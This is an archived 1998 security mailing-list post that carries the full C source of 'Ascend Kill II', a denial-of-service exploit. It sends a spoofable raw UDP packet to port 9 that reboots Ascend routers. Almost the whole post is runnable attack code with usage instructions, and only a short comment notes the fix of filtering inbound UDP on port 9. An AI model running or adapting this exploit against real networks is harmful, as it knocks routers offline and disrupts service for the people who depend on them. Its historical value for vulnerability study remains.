Ascend Kill II - C version

From: Aleph One (aleph1at_private)
Date: Mon Mar 16 1998 - 17:28:28 PST

  • Next message: Mark Schaefer: "Ascend Filter Setup"

    /*
     * Ascend Kill II - C version
     *
     * (C) 1998 Rootshell - http://www.rootshell.com/ <infoat_private>
     *
     * Distribute freely.
     *
     * Released: 3/16/98
     *
     * Thanks to Secure Networks.  See SNI-26: Ascend Router Security Issues
     * (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html)
     *
     * Sends a specially constructed UDP packet on the discard port (9)
     * which cause Ascend routers to reboot.  (Warning! Ascend routers will
     * process these if they are broadcast packets.)
     *
     * Compiled under RedHat 5.0 with glibc.
     *
     * NOTE: This program is NOT to be used for malicous purposes.  This is
     *       intenteded for educational purposes only.  By using this program
     *       you agree to use this for lawfull purposes ONLY.
     *
     * It is worth mentioning that Ascend has known about this bug for quite
     * some time.
     *
     * Fix:
     *
     * Filter inbound UDP on port 9.
     *
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <linux/udp.h>
    #include <netdb.h>
    
    #define err(x) { fprintf(stderr, x); exit(1); }
    #define errs(x, y) { fprintf(stderr, x, y); exit(1); }
    
    /* This magic packet was taken from the Java Configurator */
    char ascend_data[] =
      {
        0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
        0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
        0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
        0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
        0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
        0x50, 0x41, 0x53, 0x53};
    
    
    unsigned short
    in_cksum (addr, len)
         u_short *addr;
         int len;
    {
      register int nleft = len;
      register u_short *w = addr;
      register int sum = 0;
      u_short answer = 0;
    
      while (nleft > 1)
        {
          sum += *w++;
          nleft -= 2;
        }
      if (nleft == 1)
        {
          *(u_char *) (&answer) = *(u_char *) w;
          sum += answer;
        }
    
      sum = (sum >> 16) + (sum & 0xffff);
      sum += (sum >> 16);
      answer = ~sum;
      return (answer);
    }
    
    int
    sendpkt_udp (sin, s, data, datalen, saddr, daddr, sport, dport)
         struct sockaddr_in *sin;
         unsigned short int s, datalen, sport, dport;
         unsigned long int saddr, daddr;
         char *data;
    {
      struct iphdr ip;
      struct udphdr udp;
      static char packet[8192];
      char crashme[500];
      int i;
    
      ip.ihl = 5;
      ip.version = 4;
      ip.tos = rand () % 100;;
      ip.tot_len = htons (28 + datalen);
      ip.id = htons (31337 + (rand () % 100));
      ip.frag_off = 0;
      ip.ttl = 255;
      ip.protocol = IPPROTO_UDP;
      ip.check = 0;
      ip.saddr = saddr;
      ip.daddr = daddr;
      ip.check = in_cksum ((char *) &ip, sizeof (ip));
      udp.source = htons (sport);
      udp.dest = htons (dport);
      udp.len = htons (8 + datalen);
      udp.check = (short) 0;
      memcpy (packet, (char *) &ip, sizeof (ip));
      memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp));
      memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen);
      /* Append random garbage to the packet, without this the router
         will think this is a valid probe packet and reply. */
      for (i = 0; i < 500; i++)
        crashme[i] = rand () % 255;
      memcpy (packet + sizeof (ip) + sizeof (udp) + datalen, crashme, 500);
      return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen + 500, 0,
                      (struct sockaddr *) sin, sizeof (struct sockaddr_in)));
    }
    
    unsigned int
    lookup (host)
         char *host;
    {
      unsigned int addr;
      struct hostent *he;
    
      addr = inet_addr (host);
      if (addr == -1)
        {
          he = gethostbyname (host);
          if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
            return 0;
    
          bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
        }
      return (addr);
    }
    
    void
    main (argc, argv)
         int argc;
         char **argv;
    {
      unsigned int saddr, daddr;
      struct sockaddr_in sin;
      int s, i;
    
      if (argc != 3)
        errs ("Usage: %s <source_addr> <dest_addr>\n", argv[0]);
    
      if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
        err ("Unable to open raw socket.\n");
      if (!(saddr = lookup (argv[1])))
        err ("Unable to lookup source address.\n");
      if (!(daddr = lookup (argv[2])))
        err ("Unable to lookup destination address.\n");
      sin.sin_family = AF_INET;
      sin.sin_port = 9;
      sin.sin_addr.s_addr = daddr;
      if ((sendpkt_udp (&sin, s, &ascend_data, sizeof (ascend_data), saddr, daddr, 9, 9)) == -1)
        {
          perror ("sendpkt_udp");
          err ("Error sending the UDP packet.\n");
        }
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:45:46 PDT